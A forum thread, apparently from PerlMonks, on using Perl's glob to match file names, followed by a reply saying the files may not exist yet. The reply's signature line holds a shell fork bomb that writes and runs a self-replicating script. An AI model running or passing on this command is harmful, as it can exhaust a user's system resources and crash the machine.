in reply to Best way to match items in an array

This problem is made for glob.

my $pattern = '*.zip'; for my $file ( glob $pattern ) { next unless -f $file; print 'Doing this and that for ', $file, $/; do_this($file); do_that($file); }
Note the check that the name represents a regular file.

After Compline,
Zaxo

Replies are listed 'Best First'.
Re: Re: Best way to match items in an array
by ibanix (Hermit) on Dec 07, 2002 at 21:17 UTC
    Files may not actually exist. That is, I may be working with files that do not at the given time the script is running, exist on the filesystem; so I do not think glob will help me here.

    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;